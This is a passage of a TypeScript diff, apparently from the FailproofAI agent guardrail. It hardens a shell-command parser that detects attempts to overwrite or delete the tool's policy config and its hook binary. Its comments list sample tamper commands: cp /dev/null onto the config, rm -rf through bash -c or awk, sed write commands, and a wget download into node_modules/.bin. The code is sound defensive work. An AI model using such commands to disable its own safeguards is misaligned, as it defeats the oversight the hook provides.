boolean { +function globPrefixNamesState(token: string, candidates: readonly string[] = STATE_GLOB_CANDIDATES): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; const pattern = "^" + compileGlobPattern(token); let re: RegExp; @@ -1230,7 +1445,7 @@ function globPrefixNamesState(token: string): boolean { } catch { return false; } - if (!STATE_GLOB_CANDIDATES.some((candidate) => re.test(candidate))) return false; + if (!candidates.some((candidate) => re.test(candidate))) return false; return !GLOB_DECOYS.some((decoy) => re.test(decoy)); } @@ -1282,6 +1497,9 @@ const REDIRECT_TARGET_RE = /\d*>{1,2}\|?\s*("[^"]*"|'[^']*'|[^\s;&|<>]+)/g; * reader. */ function bareToken(token: string): string { + // A brace expansion keeps its braces: `{hook,x}` is two words to the shell, + // not `hook,x` (found by hermes on FailproofAI/failproofai#1058). + if (/\{[^{}]*(?:,|\.\.)[^{}]*\}/.test(token)) return token.replace(/^[()'"]+|[()'"]+$/g, ""); return token.replace(/^[(){}'"]+|[(){}'"]+$/g, ""); } @@ -1307,21 +1525,83 @@ function commandBasename(token: string): string { return bare.slice(bare.lastIndexOf("/") + 1); } +/** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ +const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; +const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; + +/** + * A simple command split the way a shell splits it: on whitespace outside + * quotes, so `-H 'X-Ticket: #1795'` is one word. `quoted` says the word starts + * inside quotes or with an escape, where `#` and `>` are characters, not a + * comment or a redirect. + */ +function shellWords(text: string): Array<{ raw: string; quoted: boolean }> { + const words: Array<{ raw: string; quoted: boolean }> = []; + let current = ""; + let started = false; + let quoted = false; + let quote: string | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (quote === null && /\s/.test(ch)) { + if (started) words.push({ raw: current, quoted }); + current = ""; + started = false; + continue; + } + if (!started) { + started = true; + quoted = ch === "'" || ch === '"' || ch === "\\"; + } + current += ch; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + current += text[++i]; + } else if (quote === null && (ch === "'" || ch === '"')) { + quote = ch; + } else if (ch === quote) { + quote = null; + } + } + if (started) words.push({ raw: current, quoted }); + return words; +} + /** * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on. Mirrors the walk in + * and return the words from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. + * + * Redirects and a comment are not words, after the command word either. The + * copy checks take the LAST operand for the destination, so a redirect or a + * comment after it became the destination they judged: + * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and + * `… node_modules/.bin/failproofai # keep` both walked through, while + * `uniq -c < ` read the file it only reads as one it writes. Split + * on whitespace alone, a quoted `#` or `<` cut off the real words after it, so + * the command is split the way a shell splits it (`shellWords`) + * (FailproofAI/agenteye#1795). A command word starting with `#` is a comment line. */ -function commandWords(simpleCommand: string): string[] { - const tokens = simpleCommand.trim().split(/\s+/).map(bareToken).filter(Boolean); +function commandWordList(simpleCommand: string): string[] { + const split = (text: string) => shellWords(text).map(({ raw, quoted }) => ({ raw, quoted, token: bareToken(raw) })); + const all = split(simpleCommand.trim()); let i = 0; - while (i < tokens.length) { - const token = tokens[i]; + for (let programs = 0; i < all.length; ) { + const { raw, quoted, token } = all[i]; + if (token === "") { + i++; + continue; + } + // A quoted word where the command goes is a program handed to a shell + // (`bash -c 'rm -rf …'`): its own words are the command. + if (quoted && /\s/.test(token) && programs++ < 4) { + all.splice(i, 1, ...split(token)); + continue; + } // A redirect operator and, when it stands alone, the token it targets — // `> file` must not leave `file` sitting where the command word goes. - if (/^\d*(?:>{1,2}\|?|<{1,3})/.test(token)) { - i += /^\d*(?:>{1,2}\|?|<{1,3})$/.test(token) ? 2 : 1; + if (!quoted && REDIRECT_OPERATOR_RE.test(raw)) { + i += LONE_REDIRECT_OPERATOR_RE.test(raw) ? 2 : 1; continue; } const skippable = @@ -1333,7 +1613,169 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - return tokens.slice(i); + const words: string[] = []; + for (let j = i; j < all.length; j++) { + const { raw, quoted, token } = all[j]; + if (!quoted && raw.startsWith("#")) break; + if (j > i && !quoted && REDIRECT_OPERATOR_RE.test(raw)) { + if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; + continue; + } + words.push(token); + } + return words; +} + +/** + * True when a copy, move or link writes a protected path that its words never + * spell (see `INTO_DIRECTORY_OPTIONS`), or puts a directory onto npm's bin + * directory (see `NPM_BIN_DIRECTORY_RE`). + * + * The destination is `-t`'s value in any spelling (`-t DIR`, `-tDIR`, `-vt DIR`, + * `--target-directory=DIR`, `--target DIR`), or else the last operand. Each + * source is judged where it would land, `/`. Whether the + * destination really is a directory is not checked: when it is a file, that + * path is one nothing writes, and it matches only when a source is named like a + * protected file and the destination like the directory that holds one. + * + * A source that is itself protected is a copy OUT, so it counts only when it + * lands on installed code: `cp -r ~/.failproofai /tmp/backup/` lands at + * `/tmp/backup/.failproofai`, which the state pattern matches by name, and is a + * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its + * source is spelled. A source ending in a separator copies what is IN it, whose + * names are not on the line, so it is judged only through the bin-directory + * check. `inShell` resolves a relative word against a `cd` the walk followed; + * `lost` says the walk could not follow one, so a relative destination may be + * npm's bin directory and the entry's own name there is refused. + * `landsOnState` judges where a written path really lands, symlinks followed. + */ +function landsInDirectoryAs( + words: string[], + namesState: (text: string) => boolean, + inShell: (word: string) => string = (word) => word, + lost = false, + landsOnState: (written: string) => boolean = () => false, + isBinDir: (written: string) => boolean = () => false, +): boolean { + if (words.length === 0) return false; + const head = commandBasename(words[0]); + const options = INTO_DIRECTORY_OPTIONS.get(head); + if (!options) return false; + const operands: string[] = []; + let directory: string | undefined; + let createsDirectories = false; + let recursive = false; + let ontoItself = false; + const args = words.slice(1); + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + operands.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + // GNU takes any unambiguous prefix of a long option: `--target DIR` is + // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. + const option = longOptionOf(options, name); + if (option?.full === "target-directory") { + directory = value ?? args[++i]; + } else if (option?.value) { + if (value === undefined) i++; + } else if (option?.full === "recursive" || option?.full === "archive") { + recursive = true; + } else if (option?.full === "no-target-directory") { + ontoItself = true; + } else if (option?.full === "directory" && head === "install") { + createsDirectories = true; + } + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (options.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t" && head !== "rsync") directory = value; + break; + } + if (flag === "r" || ((flag === "R" || flag === "a") && head !== "scp")) recursive = true; + if (flag === "T" && head !== "rsync" && head !== "scp") ontoItself = true; + if (flag === "d" && head === "install") createsDirectories = true; + } + continue; + } + operands.push(arg); + } + if (createsDirectories) return false; + + // `ln -s ` alone links it into the current directory. + const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); + const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); + if (written === undefined || sources.length === 0) return false; + // `host:path` is somewhere else's disk. + if (head === "scp" && /^[^/\\]{2,}:/.test(written)) return false; + const destination = inShell(written); + if (directory === undefined && (namesState(destination) || landsOnState(written))) return true; + const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); + if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; + + const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); + // A directory becomes npm's bin directory when it is moved, linked or copied + // recursively onto a path that does not exist yet. `-t` needs a directory + // that exists, and so does `ln` given a trailing separator, so neither can. + // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an + // existing one with names that are not on the line. + // rsync never makes the destination a copy of a source directory: it puts + // `src` inside it, or with `src/` what is in `src`. + const createsDirectory = + directory === undefined && + !(head === "ln" && /[\\/]$/.test(written)) && + (head === "mv" || head === "ln" || (recursive && head !== "rsync")); + const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); + // The destination as written, or wherever a link there points. + const intoBin = NPM_BIN_DIRECTORY_RE.test(into) || isBinDir(written); + if (intoBin && (createsDirectory || copiesContents)) return true; + if (into === "" || ontoItself) return false; + return sources.some((source) => { + // A trailing separator keeps the directory's own name everywhere but rsync, + // where `src/` means what is in it. + if (head === "rsync" && /[\\/]$/.test(source)) return false; + // A remote source (`host:path`) lands under the name after the host. + const local = head === "scp" || head === "rsync" ? source.replace(/^[^/\\]{2,}:/, "") : source; + const name = baseName(local.replace(/[\\/]+$/, "")); + if (name === "" || name === "." || name === "..") return false; + if (lost && relativeWord(into) && couldBeEntryName(name)) return true; + const landing = `${into}/${name}`; + // A directory named `.bin` landing in a `node_modules` is the same swap. + const writtenLanding = `${written.replace(/[\\/]+$/, "")}/${name}`; + if ( + (NPM_BIN_DIRECTORY_RE.test(landing) || isBinDir(writtenLanding)) && + (head === "mv" || head === "ln" || recursive) + ) { + return true; + } + // A glob source puts names the line does not spell into the directory. + if (intoBin && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; + if (!namesState(landing) && !landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing) || landsOnState(`${written.replace(/[\\/]+$/, "")}/${name}`); + }); +} + +/** The entry's own name and the Windows shims npm and bun write beside it. */ +const ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; + +/** True when a one-segment glob could expand to the entry's name or a shim's. */ +function globCouldBeEntry(name: string): boolean { + try { + const pattern = new RegExp(`^${compileGlobPattern(name)}$`, "i"); + return ENTRY_NAMES.some((entry) => pattern.test(entry)); + } catch { + return true; + } } /** @@ -1373,9 +1815,11 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo // next one, because a quoted script containing a space is two tokens by the // time it gets here. `s/a/b/w` and a bare `w` both end in a `w` that // follows a delimiter, which is what separates them from a word like `raw`. - return args.some( - (a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? ""), - ) || args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)); + return ( + args.some((a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? "")) || + args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)) || + sedWriteTargets(args).some((target) => namesState(target)) + ); } // `awk` can run a shell (`system("rm -rf …")`) or pipe into one, so its @@ -1428,6 +1872,245 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo return true; } +/** + * The operands a simple command writes, apart from those it reads or deletes: + * every operand of `tee` and `truncate`, the destination of a copy, move or + * link, the last of `uniq` / `xxd`, `dd of=`, and what `sed -i` edits. + */ +function writtenOperands(words: string[]): string[] { + if (words.length === 0) return []; + const head = commandBasename(words[0]); + const args = words.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) || head === "truncate") return operands; + if (COPY_COMMANDS.has(head) || head === "mv" || head === "ln") return operands.slice(-1); + if (SECOND_OPERAND_WRITERS.has(head)) return operands.length > 1 ? operands.slice(-1) : []; + if (head === "dd") return args.filter((arg) => arg.startsWith("of=")).map((arg) => arg.slice(3)); + if (head === "sed" && args.some((arg) => arg.startsWith("-i") || arg.startsWith("--in-place"))) return operands; + return []; +} + +/** + * The files a sed script writes: its `w` / `W` commands and the `w` flag of + * `s///`, with the name glued on (`wnode_modules/.bin/failproofai`) or after + * spaces, running to the end of the line as GNU sed reads it, and also cut at + * `;` or `}`, which a reader might take for its end. Read from every argument, + * so a match inside a regex can only add a name to check (found by hermes on + * FailproofAI/failproofai#1058). + */ +function sedWriteTargets(args: string[]): string[] { + const targets: string[] = []; + for (const arg of args) { + for (let i = 0; i < arg.length; i++) { + if (arg[i] !== "w" && arg[i] !== "W") continue; + // A `w` that starts a command or is an `s///` flag: at the start, after + // a separator or an address (`1w`, `$w`, `1,5w`, `0~2w`, `1!w`, `/re/w`; + // found by hermes on FailproofAI/failproofai#1058), or after a delimiter + // and other flags (`s/a/b/gw`). After a letter it is part of a word. + let j = i - 1; + while (j >= 0 && (arg[j] === " " || arg[j] === "\t")) j--; + let k = j; + while (k >= 0 && /[gpiImMeE0-9]/.test(arg[k])) k--; + const starts = j < 0 || !/[A-Za-z_\\]/.test(arg[j]) || (k >= 0 && k < j && !/[\w\s\\]/.test(arg[k])); + if (!starts) continue; + if (targets.length >= MAX_SED_TARGETS) throw new Error("a sed script names too many files to check"); + const end = arg.indexOf("\n", i); + const name = arg.slice(i + 1, Math.min(end === -1 ? arg.length : end, i + 1 + PATH_MAX_BYTES)).trim(); + if (name === "") continue; + targets.push(name); + const cut = name.split(/[;}]/)[0].trim(); + if (cut !== "" && cut !== name) targets.push(cut); + } + } + return targets; +} + +/** More files than a sed script writes in practice; past it the line is refused unread. */ +const MAX_SED_TARGETS = 64; + +/** Larger than a file of instructions (a sed script, a patch, a curl config) is read; past it, it is read as writing what is protected. */ +const MAX_INSTRUCTION_FILE_BYTES = 1024 * 1024; + +/** curl's short options that take a value (curl 8 `--help all`); the rest of a cluster after one is that value. */ +const CURL_SHORT_VALUE_OPTIONS = "AbcCdDeEFHKmoPQrtTuUwxXyYz"; + +/** bash's integer argument for `%d` and friends, or null for one bash would refuse or this cannot hold exactly. */ +function bashPrintfInteger(arg: string): number | null { + const text = arg.trim(); + if (/^['"]/.test(text)) return text.length > 1 ? (text.codePointAt(1) ?? 0) : 0; + const m = /^([+-]?)(0[xX][0-9a-fA-F]+|0[0-7]*|[1-9][0-9]*)$/.exec(text); + if (m === null) return null; + const digits = m[2]; + const magnitude = /^0[xX]/.test(digits) ? parseInt(digits.slice(2), 16) : digits.length > 1 && digits.startsWith("0") ? parseInt(digits.slice(1), 8) : parseInt(digits, 10); + if (!Number.isSafeInteger(magnitude)) return null; + return m[1] === "-" ? -magnitude : magnitude; +} + +/** + * `printf FORMAT ARGS…` as bash computes it, for `%s`, `%b` (escapes left in, + * so the caller can refuse them), `%q` of a plain word, `%c` and the integer + * conversions `%d`, `%i`, `%u`, `%o`, `%x`, `%X`, with the flags `-`, `0`, + * `+`, space and `#`, a width and a precision, the format reused until the + * arguments run out. Null for anything else: a `*` width, a conversion it does + * not compute, or an argument bash would reject. + */ +function bashPrintf(format: string, args: readonly string[]): string | null { + const SPEC = /%(%|([-0+ #]*)(\d*)(?:\.(\d*))?([^%]?))/g; + const conversions = (format.match(/%[^%]/g) ?? []).length; + let k = 0; + let out = ""; + let passes = 0; + const pad = (text: string, width: number, left: boolean, zero: boolean): string => { + if (text.length >= width) return text; + if (left) return text + " ".repeat(width - text.length); + if (!zero) return " ".repeat(width - text.length) + text; + const sign = /^[+ -]/.test(text) ? text[0] : ""; + const prefix = /^[+ -]?0[xX]/.test(text) ? text.slice(sign.length, sign.length + 2) : ""; + const digits = text.slice(sign.length + prefix.length); + return sign + prefix + "0".repeat(width - text.length) + digits; + }; + do { + let failed = false; + out += format.replace(SPEC, (whole, spec: string, flags = "", widthText = "", precisionText: string | undefined, c = "") => { + if (spec === "%") return "%"; + if (/[*]/.test(whole) || widthText.length > 4 || (precisionText ?? "").length > 4) { + failed = true; + return ""; + } + const arg = args[k++] ?? ""; + const width = widthText === "" ? 0 : Number(widthText); + const precision = precisionText === undefined ? undefined : precisionText === "" ? 0 : Number(precisionText); + const left = flags.includes("-"); + let text: string; + if (c === "s" || c === "b") text = precision === undefined ? arg : arg.slice(0, precision); + else if (c === "c") text = arg.charAt(0); + else if (c === "q") { + if (arg === "" || !/^[A-Za-z0-9_./:@%+=,-]*$/.test(arg)) { + failed = true; + return ""; + } + text = arg; + } else if (c !== "" && "diuoxX".includes(c)) { + const n = arg === "" ? 0 : bashPrintfInteger(arg); + // A negative number in an unsigned form is its 64-bit two's complement, past what a number holds exactly. + if (n === null || (n < 0 && c !== "d" && c !== "i")) { + failed = true; + return ""; + } + let digits = c === "o" ? n.toString(8) : c === "x" ? n.toString(16) : c === "X" ? n.toString(16).toUpperCase() : String(Math.abs(n)); + if (precision !== undefined) digits = precision === 0 && n === 0 ? "" : digits.padStart(precision, "0"); + if (flags.includes("#") && n !== 0) digits = c === "o" ? (digits.startsWith("0") ? digits : `0${digits}`) : c === "x" ? `0x${digits}` : c === "X" ? `0X${digits}` : digits; + const sign = (c === "d" || c === "i") && n < 0 ? "-" : (c === "d" || c === "i") && flags.includes("+") ? "+" : (c === "d" || c === "i") && flags.includes(" ") ? " " : ""; + return pad(sign + digits, width, left, flags.includes("0") && precision === undefined); + } else { + failed = true; + return ""; + } + return pad(text, width, left, false); + }); + if (failed) return null; + } while (conversions > 0 && k < args.length && ++passes < 64); + return k < args.length ? null : out; +} + +/** tar's short options other than `-C` that take a value (GNU tar and bsdtar). */ +const TAR_SHORT_VALUE_OPTIONS = "fbFgHIKLNTVX"; + +/** How many curl configs deep one may name the next before the command is refused. */ +const MAX_CURL_CONFIG_DEPTH = 8; + +/** + * The options a curl config file gives, as the words they would be on the + * line: `output = hook`, `-o hook`, `--output-dir bins` and `remote-name`, + * one per line, a value quoted or not, `#` starting a comment. + */ +function curlConfigArgs(text: string): string[] { + const args: string[] = []; + for (const line of text.split(/\r?\n/)) { + const trimmed = line.trim(); + if (trimmed === "" || trimmed.startsWith("#")) continue; + const m = /^(-{0,2}[A-Za-z0-9][\w-]*)(?:\s*[=:]\s*|\s+|$)(.*)$/.exec(trimmed); + if (m === null) continue; + const option = m[1].startsWith("-") ? m[1] : m[1].length === 1 ? `-${m[1]}` : `--${m[1]}`; + args.push(option); + const value = m[2].trim(); + if (value !== "") args.push(value.replace(/^"((?:[^"\\]|\\.)*)"$/, "$1").replace(/\\(.)/g, "$1")); + } + return args; +} + +/** + * The script files a sed command line reads: `-f FILE` (alone, glued, or + * ending a cluster such as `-nf`) and `--file=FILE` / `--file FILE` in any + * abbreviation GNU sed takes (`--fi`). + */ +function sedScriptFiles(args: string[]): string[] { + const files: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") break; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name !== "" && "file".startsWith(name) && !"follow-symlinks".startsWith(name)) { + files.push(eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1)); + } else if (eq === -1 && name !== "" && ["expression", "line-length"].some((option) => option.startsWith(name))) k++; + continue; + } + if (!/^-[A-Za-z]/.test(arg)) continue; + for (let c = 1; c < arg.length; c++) { + if (arg[c] === "f") { + files.push(c + 1 < arg.length ? arg.slice(c + 1) : (args[++k] ?? "")); + break; + } + // `-e SCRIPT` and `-l N` take a value; `-i` takes the rest as a suffix. + if (arg[c] === "e" || arg[c] === "l") { + if (c + 1 === arg.length) k++; + break; + } + if (arg[c] === "i") break; + } + } + return files; +} + +/** What the shell splits a line at, when it is not quoted or escaped. */ +const SEPARATOR_CHARS = /[;&|\n\r]/; + +/** + * `text` split at `separator`, the separators kept between the pieces as + * `String.split` keeps a capture group, except where a separator is quoted or + * escaped: the shell reads that as text, so `sed -e 's/w/x/;1whook'` keeps its + * whole script (found by hermes on FailproofAI/failproofai#1058). The pieces + * are the text as written. + */ +function splitUnquoted(text: string, separator: RegExp): string[] { + const chars: string[] = []; + let quote: "'" | '"' | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + chars.push(ch, SEPARATOR_CHARS.test(text[i + 1]) ? "\u0001" : text[i + 1]); + i++; + continue; + } + if (quote === null) { + if (ch === "'" || ch === '"') quote = ch; + chars.push(ch); + continue; + } + if (ch === quote) quote = null; + chars.push(quote !== null && SEPARATOR_CHARS.test(ch) ? "\u0001" : ch); + } + const out: string[] = []; + let offset = 0; + for (const piece of chars.join("").split(new RegExp(`(${separator.source})`))) { + out.push(text.slice(offset, offset + piece.length)); + offset += piece.length; + } + return out; +} + /** * True when a flag on this command names the state as an output file. * @@ -1442,13 +2125,542 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st for (let i = 0; i < args.length; i++) { const arg = args[i]; const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); - if (long && namesState(arg)) return true; - const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); + if (long && (namesState(arg) || namesState(arg.slice(long.length + 1)))) return true; + // A long option as getopt_long and curl before 8 also take it, cut short + // to a prefix of its name (`--stde`, `--outp=`), unless that prefix is + // itself another option (`--cookie`, which reads). + if (arg.startsWith("--") && arg.length > 2) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (!flags.includes(`--${name}`) && !EXACT_NON_OUTPUT_OPTIONS.has(`${head} --${name}`) && flags.some((f) => f.startsWith(`--${name}`))) { + if (namesState(eq === -1 ? (args[i + 1] ?? "") : arg.slice(eq + 1))) return true; + } + } + const bundled = /^-[A-Za-z]*[oDc]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; + // Or the value glued on, after the option alone or at the end of a + // cluster: `curl -o`, `curl -so`. + if (/^-[A-Za-z]/.test(arg)) { + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (flags.includes(`-${arg[c]}`) && namesState(arg.slice(c + 1))) return true; + } + } } return false; } +/** wget's short options that take a value (`wget --help`, GNU Wget 1.21). */ +const WGET_VALUE_OPTIONS = "eoaiBtOTwQPlARDIXU"; + +/** curl's short options that take a value (`curl --help all`, curl 8). */ +const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; + +/** Short options that take a value, for the commands whose list is known. */ +const SHORT_VALUE_OPTIONS: Record = { curl: CURL_VALUE_OPTIONS, wget: WGET_VALUE_OPTIONS }; + +/** Short options that name a file the command writes, for the commands whose list is known. */ +const SHORT_OUTPUT_OPTIONS: Record = { curl: "oDc", wget: "Oao" }; + +/** + * The long options that decide where a download lands. curl before 8 and + * wget (getopt_long) also take an unambiguous abbreviation of a long option + * (`--output-di` for `--output-dir`; found by hermes on + * FailproofAI/failproofai#1058), so a name that only starts one of these is + * read as each it may be. One two options share is refused by both tools, so + * reading it as either never misses a landing. + */ +const CURL_LANDING_OPTIONS = ["output", "output-dir", "remote-name", "remote-name-all", "remote-header-name", "next"]; +const WGET_LANDING_OPTIONS = [ + "directory-prefix", + "output-document", + "spider", + "content-disposition", + "trust-server-names", + "input-file", + "recursive", + "mirror", + "page-requisites", + "force-directories", + "no-directories", + "default-page", + "execute", +]; +const LANDING_VALUE_OPTIONS = new Set(["output", "output-dir", "directory-prefix", "output-document", "input-file", "default-page", "execute"]); + +/** The landing options `--` may be, for curl or wget. */ +function landingOptions(head: string, written: string): string[] { + const options = head === "wget" ? WGET_LANDING_OPTIONS : CURL_LANDING_OPTIONS; + if (options.includes(written)) return [written]; + return written === "" ? [] : options.filter((option) => option.startsWith(written)); +} + +/** + * wget's `-e` / `--execute` runs a `.wgetrc` command, whose name wget reads + * without case, `_` or `-` (`-e dir_prefix=node_modules/.bin`): the ones that + * decide where a download lands, as the long option each stands for. + */ +const WGETRC_LANDING_COMMANDS: Record = { + dirprefix: "directory-prefix", + outputdocument: "output-document", + spider: "spider", + contentdisposition: "content-disposition", + trustservernames: "trust-server-names", + recursive: "recursive", + mirror: "mirror", + pagerequisites: "page-requisites", + dirstruct: "force-directories", + defaultpage: "default-page", +}; + +/** More letters than a short-option cluster has when written to be read. */ +const MAX_OPTION_CLUSTER = 32; + +/** More paths than a glob in a directory component is expanded to on disk; past it, read as reaching the state. */ +const GLOB_DISK_LIMIT = 4096; + +/** Directories one `**` may walk through before the walk is given up and read as reaching the state. */ +const GLOB_RECURSIVE_DIR_LIMIT = 16_384; + +/** A zsh pattern flag group: `(#i)`, `(#l)`, `(#a2)`. */ +const ZSH_GLOB_FLAG_RE = /\(#[A-Za-z0-9]*\)/; + +/** The shell options that change what a glob matches, as far as a command turns them on. */ +interface GlobOptions { + /** `*` and `?` match a leading dot. */ + dotglob: boolean; + /** `**` matches any depth of directories. */ + globstar: boolean; + /** Matching ignores case. */ + nocaseglob: boolean; +} + +/** + * The glob options a command may turn on, in bash's spelling or zsh's. Claude + * Code runs the user's shell, and zsh is macOS's default: its `**` recurses + * with no option at all, where bash without globstar reads it as `*`, which + * matches less. zsh ignores case and underscores in option names. + * + * - dotglob: `shopt -s dotglob`, `GLOBIGNORE=`, `setopt globdots`, a `(D)` qualifier. + * - globstar: `shopt -s globstar`, `setopt globstarshort`, any `**` or `***` segment. + * - nocaseglob: `shopt -s nocaseglob`, `unsetopt caseglob`, the `(#i)` flag. + */ +function globOptionsOf(command: string): GlobOptions { + const names = command.toLowerCase().replace(/_/g, ""); + return { + dotglob: /\b(?:dotglob|globdots)\b|globignore=/.test(names) || /\*\([^()|\s]*D[^()|\s]*\)/.test(command), + globstar: /\bglobstar(?:short)?\b/.test(names) || /(?:^|[\s/"'=(])\*{2,3}(?=\/|$|[\s"';&|)])/.test(command), + nocaseglob: + /\bnocaseglob\b/.test(names) || /\bunsetopt\b[^;&|\n]*\bcaseglob\b/.test(names) || /\(#[a-z]*i[a-z]*\)/i.test(command), + }; +} + +/** Whether a path component is a pattern to the shell, zsh's flags included. */ +function isGlobPart(part: string): boolean { + return GLOB_METACHAR_RE.test(part) || ZSH_GLOB_FLAG_RE.test(part); +} + +/** A component's pattern as a regex, zsh's flags taken off; null when it cannot be read. */ +function globPartMatcher(part: string, options: GlobOptions): RegExp | null { + try { + return new RegExp(`^${compileGlobPattern(part.replace(new RegExp(ZSH_GLOB_FLAG_RE.source, "g"), ""))}$`, options.nocaseglob ? "i" : ""); + } catch { + return null; + } +} + +/** How many of the words a brace expands to are each read on disk. */ +const MAX_BRACE_WORDS_ON_DISK = 64; + +/** How many values of reassigned variables one line is read with; past it the line is refused. */ +const VARIANT_BUDGET = 4096; + +/** + * The values an option word may carry glued on, each a path the command may + * write: `--output=`, and the rest of a short-option cluster, + * `curl -so`. Where a command's value-taking letters are known the + * cluster is read as getopt reads it, flags up to the first letter that takes + * a value; elsewhere any letter may take one (`gcc -o`, `tar -cf`), + * so the rest of the word after each letter is a candidate. `null` for a + * cluster longer than `MAX_OPTION_CLUSTER`, which is read as reaching the + * state rather than tried at every split. + */ +function gluedOptionValues(head: string, word: string): string[] | null { + if (word.startsWith("--")) { + const eq = word.indexOf("="); + return eq > 2 && eq < word.length - 1 ? [word.slice(eq + 1)] : []; + } + if (!/^-[A-Za-z]/.test(word)) return []; + const known = SHORT_VALUE_OPTIONS[head]; + const values: string[] = []; + for (let c = 1; c < word.length - 1 && /[A-Za-z]/.test(word[c]); c++) { + if (known !== undefined) { + if (known.includes(word[c])) return [word.slice(c + 1)]; + continue; + } + if (c > MAX_OPTION_CLUSTER) return null; + values.push(word.slice(c + 1)); + } + return values; +} + +/** + * The files a download names after its URL rather than on the line, as + * `{dir, name}`: `wget `, and `curl -O` / `--remote-name`, save the URL's + * last segment into `-P` / `--directory-prefix` (wget), `--output-dir` (curl) + * or the current directory. So `cd node_modules/.bin && wget https://…/failproofai` + * writes the entry with `.bin/failproofai` nowhere on the line + * (FailproofAI/agenteye#1795). `name` is `null` when the server picks it + * (`--content-disposition`, `-J`), or the URLs come from a file (`-i`): then + * it could be anything, the entry's included. A name the line gives (`-O` + * for wget, `-o` for curl) is judged with the other operands, and a recursive + * wget puts what it fetches under a directory named after the host. + */ +function downloadLandings(words: string[]): Array<{ dir: string; name: string | null }> { + const head = words.length > 0 ? commandBasename(words[0]) : ""; + if (head !== "wget" && head !== "curl") return []; + // curl's `--next` (`-:`) starts a transfer with options of its own: each is + // read alone, so a later `--output-dir` cannot stand in for an earlier one + // (found by hermes on FailproofAI/failproofai#1058). + if (head === "curl") { + const transfers: string[][] = [[]]; + for (const word of words.slice(1)) { + if (word === "-:" || (word.startsWith("--") && !word.includes("=") && landingOptions(head, word.slice(2)).includes("next"))) transfers.push([]); + else transfers[transfers.length - 1].push(word); + } + if (transfers.length > 1) return transfers.flatMap((transfer) => transferLandings(head, transfer)); + } + return transferLandings(head, words.slice(1)); +} + +/** `downloadLandings` for one transfer's arguments. */ +function transferLandings(head: string, args: string[]): Array<{ dir: string; name: string | null }> { + const valueOptions = head === "wget" ? WGET_VALUE_OPTIONS : CURL_VALUE_OPTIONS; + let dir = "."; + let urlNamed = head === "wget"; + let serverNamed = false; + let named = false; + let recursive = false; + let flat = false; + let dirGiven = false; + // The name wget gives a URL that ends in `/`. + let defaultPage = "index.html"; + // What curl's `-o` / `--output` name, which `--output-dir` also prefixes. + const outputs: string[] = []; + const urls: string[] = []; + const apply = (option: string, value: string | undefined) => { + if (option === "directory-prefix" || option === "output-dir") { + dir = value ?? dir; + dirGiven = true; + } else if (option === "output") outputs.push(value ?? ""); + else if (option === "output-document" || option === "spider") named = true; + else if (option === "remote-name" || option === "remote-name-all") urlNamed = true; + else if (option === 